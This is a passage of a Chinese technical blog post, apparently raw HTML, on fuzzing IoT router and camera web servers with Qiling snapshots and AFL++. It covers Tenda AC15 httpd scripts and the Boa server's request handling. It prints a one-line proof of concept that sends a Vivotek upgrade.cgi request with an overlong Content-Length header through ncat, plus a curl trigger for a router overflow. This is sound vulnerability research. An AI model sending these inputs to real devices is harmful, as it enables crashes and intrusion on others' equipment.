AFLplusplus</code> <code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">cd AFLplusplus/unicorn_mode ; ./build_unicorn_support.sh</code></p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• 一个坑：最好获取版本高于3.15的<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">cmake</code>，要不然编译的时候有些cmake参数识别有问题，我遇到的就是:<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">cmake -S unicorn/ -B unicorn/build -D BUILD_SHARED_LIBS=no</code></p></li></ul><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• 需要对Qiling、AFL有些了解</p></li></ul><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="line-height: 1.75;color: rgb(255, 118, 118);">Fuzz思路</strong>：</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">Iot设备就连环境模拟都比较棘手就就更别说Fuzz了，但是Qiling提供的<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">进程快照(snapshot)</code>功能给了我们一个不错的思路，这也是Qiling官方Fuzz案例的一个思路：<strong style="line-height: 1.75;color: rgb(255, 118, 118);">即对某函数部分Fuzz(Partial Fuzz)</strong></p><h1 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 2em auto 1em;padding-right: 1em;padding-left: 1em;border-bottom: 2px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">Tenda-AC15</h1><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">Qiling使用4个脚本来实现对该款路由器上httpd程序的Fuzz</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="1.205223880597015" title="null" data-type="png" data-w="268" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=0b61b88e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkZHBSh4L3QKBgYu8wXM752SWN0Xc9hCLjmlibzK2pzp1GDM3GR5Jvj0bZhjBnWdPJN0qBqODNP54icw%2F640%3Fwx_fmt%3Dpng"/><figcaption style="text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;">image-20221213114209793</figcaption></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">首先是<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">saver_tendaac15_httpd.py</code>用于保存fuzz的起始状态快照，主要代码如下：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;"><span style="color: rgb(198, 120, 221);">def</span> <span style="color: rgb(97, 174, 238);">save_context</span>(ql, *args, **kw):<br/>    ql.save(cpu_context=<span style="color: rgb(86, 182, 194);">False</span>, snapshot=<span style="color: rgb(152, 195, 121);">&#34;snapshot.bin&#34;</span>)<br/><span style="color: rgb(198, 120, 221);">def</span> <span style="color: rgb(97, 174, 238);">check_pc</span>(ql):<br/>    <span style="color: rgb(230, 192, 123);">print</span>(<span style="color: rgb(152, 195, 121);">&#34;=&#34;</span> * <span style="color: rgb(209, 154, 102);">50</span>)<br/>    <span style="color: rgb(230, 192, 123);">print</span>(<span style="color: rgb(152, 195, 121);">&#34;Hit fuzz point, stop at PC = 0x%x&#34;</span> % ql.arch.regs.arch_pc)<br/>    <span style="color: rgb(230, 192, 123);">print</span>(<span style="color: rgb(152, 195, 121);">&#34;=&#34;</span> * <span style="color: rgb(209, 154, 102);">50</span>)<br/>    ql.emu_stop()<br/><span style="color: rgb(198, 120, 221);">def</span> <span style="color: rgb(97, 174, 238);">my_sandbox</span>(path, rootfs):<br/>    ql = Qiling(path, rootfs, verbose=QL_VERBOSE.DEBUG)<br/>    ql.add_fs_mapper(<span style="color: rgb(152, 195, 121);">&#34;/dev/urandom&#34;</span>,<span style="color: rgb(152, 195, 121);">&#34;/dev/urandom&#34;</span>)<br/>    ql.hook_address(save_context, <span style="color: rgb(209, 154, 102);">0x10930</span>)        <span style="color: rgb(92, 99, 112);font-style: italic;">#&lt;=======</span><br/>    ql.hook_address(patcher, ql.loader.elf_entry)<br/>    ql.hook_address(check_pc, <span style="color: rgb(209, 154, 102);">0x7a0cc</span>)            <span style="color: rgb(92, 99, 112);font-style: italic;">#&lt;=======</span><br/>    ql.run()</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  ql.hook_address(save_context, 0x10930)：表示当程序跑到0x10930地址时调用save_context函数将保存此刻模拟状态</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  但需要输入来触发程序按照预想的跑到0x10930位置，带上面脚本跑起来后使用<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">addressNat_overflow.sh</code>触发</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;"><span style="color: rgb(97, 174, 238);">#</span>!/bin/sh<br/>curl -v -H &#34;X-Requested-With: XMLHttpRequest&#34; -b &#34;password=1234&#34; -e <a href="http://localhost:8080/samba.html -H " target="_blank">http://localhost:8080/samba.html -H </a>&#34;Content-Type:application/x-www-form-urlencoded&#34; --data &#34;entrys=sync&#34; --data &#34;page=CCCCAAAA&#34; <a href="http://localhost:8080/goform/addressNat" target="_blank">http://localhost:8080/goform/addressNat</a></code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  那么我们获得了模拟进程快照<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">snapshot.bin</code>之后fuzz就重复利用该文件启动就行，对应<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">fuzz_tendaac15_httpd.py</code></p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;"><span style="color: rgb(198, 120, 221);">def</span> <span style="color: rgb(97, 174, 238);">main</span>(input_file, enable_trace=<span style="color: rgb(86, 182, 194);">False</span>):<br/>    ql = Qiling([<span style="color: rgb(152, 195, 121);">&#34;rootfs/bin/httpd&#34;</span>], <span style="color: rgb(152, 195, 121);">&#34;rootfs&#34;</span>, verbose=QL_VERBOSE.DEBUG, console = <span style="color: rgb(86, 182, 194);">True</span> <span style="color: rgb(198, 120, 221);">if</span> enable_trace <span style="color: rgb(198, 120, 221);">else</span> <span style="color: rgb(86, 182, 194);">False</span>)<br/>    <span style="color: rgb(92, 99, 112);font-style: italic;"># save current emulated status</span><br/>    ql.restore(snapshot=<span style="color: rgb(152, 195, 121);">&#34;snapshot.bin&#34;</span>)<br/>    <span style="color: rgb(92, 99, 112);font-style: italic;"># return should be 0x7ff3ca64</span><br/>    fuzz_mem=ql.mem.search(<span style="color: rgb(152, 195, 121);">b&#34;CCCCAAAA&#34;</span>)<br/>    target_address = fuzz_mem[<span style="color: rgb(209, 154, 102);">0</span>]<br/>    <span style="color: rgb(198, 120, 221);">def</span> <span style="color: rgb(97, 174, 238);">place_input_callback</span>(_ql: Qiling, <span style="color: rgb(230, 192, 123);">input</span>: <span style="color: rgb(230, 192, 123);">bytes</span>, _):<br/>        _ql.mem.write(target_address, <span style="color: rgb(230, 192, 123);">input</span>)<br/>    <span style="color: rgb(198, 120, 221);">def</span> <span style="color: rgb(97, 174, 238);">start_afl</span>(_ql: Qiling):<br/>        <span style="color: rgb(152, 195, 121);">&#34;&#34;&#34;<br/>        Callback from inside<br/>        &#34;&#34;&#34;</span><br/>        ql_afl_fuzz(_ql, input_file=input_file, place_input_callback=place_input_callback, exits=[ql.os.exit_point])<br/>    ql.hook_address(callback=start_afl, address=<span style="color: rgb(209, 154, 102);">0x10930</span>+<span style="color: rgb(209, 154, 102);">8</span>)<br/>    <br/>    <span style="color: rgb(198, 120, 221);">try</span>:<br/>        ql.run(begin = <span style="color: rgb(209, 154, 102);">0x10930</span>+<span style="color: rgb(209, 154, 102);">4</span>, end = <span style="color: rgb(209, 154, 102);">0x7a0cc</span>+<span style="color: rgb(209, 154, 102);">4</span>)<br/>        os._exit(<span style="color: rgb(209, 154, 102);">0</span>)<br/>    <span style="color: rgb(198, 120, 221);">except</span>:<br/>        <span style="color: rgb(198, 120, 221);">if</span> enable_trace:<br/>            <span style="color: rgb(230, 192, 123);">print</span>(<span style="color: rgb(152, 195, 121);">&#34;\nFuzzer Went Shit&#34;</span>)<br/>        os._exit(<span style="color: rgb(209, 154, 102);">0</span>)        <br/><span style="color: rgb(198, 120, 221);">if</span> __name__ == <span style="color: rgb(152, 195, 121);">&#34;__main__&#34;</span>:<br/>    <span style="color: rgb(198, 120, 221);">if</span> <span style="color: rgb(230, 192, 123);">len</span>(sys.argv) == <span style="color: rgb(209, 154, 102);">1</span>:<br/>        <span style="color: rgb(198, 120, 221);">raise</span> ValueError(<span style="color: rgb(152, 195, 121);">&#34;No input file provided.&#34;</span>)<br/>    <span style="color: rgb(198, 120, 221);">if</span> <span style="color: rgb(230, 192, 123);">len</span>(sys.argv) &gt; <span style="color: rgb(209, 154, 102);">2</span> <span style="color: rgb(198, 120, 221);">and</span> sys.argv[<span style="color: rgb(209, 154, 102);">1</span>] == <span style="color: rgb(152, 195, 121);">&#34;-t&#34;</span>:<br/>        main(sys.argv[<span style="color: rgb(209, 154, 102);">2</span>], enable_trace=<span style="color: rgb(86, 182, 194);">True</span>)<br/>    <span style="color: rgb(198, 120, 221);">else</span>:<br/>        main(sys.argv[<span style="color: rgb(209, 154, 102);">1</span>])</code></pre><ul style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 1em;list-style: circle;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• 恢复快照：ql.restore(snapshot=&#34;snapshot.bin&#34;)</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• 变异数据缓存定位：fuzz_mem=ql.mem.search(b&#34;CCCCAAAA&#34;)</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• 以hook方式从起始地址附近的开始fuzz：ql.hook_address(callback=start_afl, address=0x10930+8)</p></li></ul><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">最后开始Fuzz</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;"><span style="color: rgb(97, 174, 238);">#!/usr/bin/sh</span><br/>AFL_DEBUG_CHILD_OUTPUT=1 AFL_AUTORESUME=1 AFL_PATH=<span style="color: rgb(152, 195, 121);">&#34;<span style="color: rgb(224, 108, 117);">$(realpath ./AFLplusplus)</span>&#34;</span> PATH=<span style="color: rgb(152, 195, 121);">&#34;<span style="color: rgb(209, 154, 102);">$AFL_PATH</span>:<span style="color: rgb(209, 154, 102);">$PATH</span>&#34;</span> ./AFLplusplus/afl-fuzz -i afl_inputs -o afl_outputs -U -- python3 ./fuzz_tendaac15_httpd.py @@</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  <strong style="line-height: 1.75;color: rgb(255, 118, 118);">说实话这样连最关键的fuzz范围<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">0x10930</code>，<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">0x7a0cc</code>怎么来的都不知道当时逆向定位这两个地址也是一头雾水毫无特征，还是得自己实操</strong></p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  因此选定了Boa框架(之前了解过源码)从零开始对其进行Fuzz</p><h1 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 2em auto 1em;padding-right: 1em;padding-left: 1em;border-bottom: 2px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">Boa Fuzz</h1><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  选择一个网上有许多漏洞分析的设备：vivetok 摄像头，链接见参考，而且webservre为Boa框架</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">Poc：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;"><span style="color: rgb(230, 192, 123);">echo</span> -en <span style="color: rgb(152, 195, 121);">&#34;POST /cgi-bin/admin/upgrade.cgi HTTP/1.0\nContent-Length:AAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIXXXX\n\r\n\r\n&#34;</span>  | ncat -v 192.168.57.20 80</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span style="font-style: italic;"><strong style="line-height: 1.75;color: rgb(255, 118, 118);">Boa框架</strong></span>：</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">主要处理逻辑在<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">process_requests</code>函数中：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">           <span style="color: rgb(92, 99, 112);font-style: italic;">/*获取就绪队列并处理*/</span><br/>    current = request_ready;<br/>    <span style="color: rgb(198, 120, 221);">while</span> (current) {<br/>        time(&amp;current_time);<br/>        <span style="color: rgb(198, 120, 221);">if</span> (current-&gt;buffer_end &amp;&amp; <span style="color: rgb(92, 99, 112);font-style: italic;">/* there is data in the buffer */</span><br/>            current-&gt;status != DEAD &amp;&amp; current-&gt;status != DONE) {<br/>            retval = req_flush(current);<br/>            <span style="color: rgb(92, 99, 112);font-style: italic;">/*<br/>             * retval can be -2=error, -1=blocked, or bytes left<br/>             */</span><br/>            <span style="color: rgb(198, 120, 221);">if</span> (retval == <span style="color: rgb(209, 154, 102);">-2</span>) { <span style="color: rgb(92, 99, 112);font-style: italic;">/* error */</span><br/>                current-&gt;status = DEAD;<br/>                retval = <span style="color: rgb(209, 154, 102);">0</span>;<br/>            } <span style="color: rgb(198, 120, 221);">else</span> <span style="color: rgb(198, 120, 221);">if</span> (retval &gt;= <span style="color: rgb(209, 154, 102);">0</span>) {<br/>                <span style="color: rgb(92, 99, 112);font-style: italic;">/* notice the &gt;= which is different from below?<br/>                   Here, we may just be flushing headers.<br/>                   We don&#39;t want to return 0 because we are not DONE<br/>                   or DEAD */</span><br/>                retval = <span style="color: rgb(209, 154, 102);">1</span>;<br/>            }<br/>        } <span style="color: rgb(198, 120, 221);">else</span> {<span style="color: rgb(92, 99, 112);font-style: italic;">/*主要处理请求部分在这里*/</span><br/>            <span style="color: rgb(198, 120, 221);">switch</span> (current-&gt;status) {<br/>            <span style="color: rgb(198, 120, 221);">case</span> READ_HEADER:<br/>            <span style="color: rgb(198, 120, 221);">case</span> ONE_CR:<br/>            <span style="color: rgb(198, 120, 221);">case</span> ONE_LF:<br/>            <span style="color: rgb(198, 120, 221);">case</span> TWO_CR:<br/>                retval = read_header(current);    <span style="color: rgb(92, 99, 112);font-style: italic;">//解析request头部，该函数类似与FILE_IO</span><br/>                <span style="color: rgb(198, 120, 221);">break</span>;                            <span style="color: rgb(92, 99, 112);font-style: italic;">//函数request内部有8192+1字节的buffer，data的头尾指针等，最终调用</span><br/>            <span style="color: rgb(198, 120, 221);">case</span> BODY_READ:                       <span style="color: rgb(92, 99, 112);font-style: italic;">//bytes = read(req-&gt;fd, buffer + req-&gt;client_stream_pos, buf_bytes_left);读取</span><br/>                retval = read_body(current);<br/>                <span style="color: rgb(198, 120, 221);">break</span>;<br/>            <span style="color: rgb(198, 120, 221);">case</span> BODY_WRITE:<br/>                retval = write_body(current);<br/>                <span style="color: rgb(198, 120, 221);">break</span>;<br/>            <span style="color: rgb(198, 120, 221);">case</span> WRITE:<br/>                retval = process_get(current);<br/>                <span style="color: rgb(198, 120, 221);">break</span>;<br/>            <span style="color: rgb(198, 120, 221);">case</span> PIPE_READ:<br/>                retval = read_from_pipe(current);<br/>                <span style="color: rgb(198, 120, 221);">break</span>;<br/>            <span style="color: rgb(198, 120, 221);">case</span> PIPE_WRITE:<br/>                retval = write_from_pipe(current);<br/>                <span style="color: rgb(198, 120, 221);">break</span>;<br/>            <span style="color: rgb(198, 120, 221);">case</span> DONE:<br/>                <span style="color: rgb(92, 99, 112);font-style: italic;">/* a non-status that will terminate the request */</span><br/>                retval = req_flush(current);<br/>                <span style="color: rgb(92, 99, 112);font-style: italic;">/*<br/>                 * retval can be -2=error, -1=blocked, or bytes left<br/>                 */</span><br/>                <span style="color: rgb(198, 120, 221);">if</span> (retval == <span style="color: rgb(209, 154, 102);">-2</span>) { <span style="color: rgb(92, 99, 112);font-style: italic;">/* error */</span><br/>                    current-&gt;status = DEAD;<br/>                    retval = <span style="color: rgb(209, 154, 102);">0</span>;<br/>                } <span style="color: rgb(198, 120, 221);">else</span> <span style="color: rgb(198, 120, 221);">if</span> (retval &gt; <span style="color: rgb(209, 154, 102);">0</span>) {<br/>                    retval = <span style="color: rgb(209, 154, 102);">1</span>;<br/>                }<br/>                <span style="color: rgb(198, 120, 221);">break</span>;<br/>            <span style="color: rgb(198, 120, 221);">case</span> DEAD:<br/>                retval = <span style="color: rgb(209, 154, 102);">0</span>;<br/>                current-&gt;buffer_end = <span style="color: rgb(209, 154, 102);">0</span>;<br/>                SQUASH_KA(current);<br/>                <span style="color: rgb(198, 120, 221);">break</span>;<br/>            <span style="color: rgb(198, 120, 221);">default</span>:<br/>                retval = <span style="color: rgb(209, 154, 102);">0</span>;<br/>                <span style="color: rgb(230, 192, 123);">fprintf</span>(<span style="color: rgb(230, 192, 123);">stderr</span>, <span style="color: rgb(152, 195, 121);">&#34;Unknown status (%d), &#34;</span><br/>                        <span style="color: rgb(152, 195, 121);">&#34;closing!\n&#34;</span>, current-&gt;status);<br/>                current-&gt;status = DEAD;<br/>                <span style="color: rgb(198, 120, 221);">break</span>;<br/>            }<br/>        }</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">主要看中间的Switch case：</p><ul style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 1em;list-style: circle;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• read_header：解析request头部，该函数类似FILE_IO函数</p></li><ul style="line-height: 1.75;padding-left: 1em;list-style-position: initial;list-style-image: initial;" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• request内部有8192+1字节的buffer，data的头尾指针等，最终调用bytes = read(req-&gt;fd, buffer + req-&gt;client_stream_pos, buf_bytes_left);读取client发送的请求</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• 会提取并解析头部信息</p></li></ul><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• 对于GET传参，主要使用read_header, read_from_pipe, write_from_pipe完成cgi的调用</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• 对于POST传参，主要调用read_header, read_body, write_body完成cgi调用</p></li></ul><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">就拿read_header函数来说，厂商应该会在里面增加一些url过虑以及响应处理，在这个摄像头中漏洞也确实出在这个函数：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, 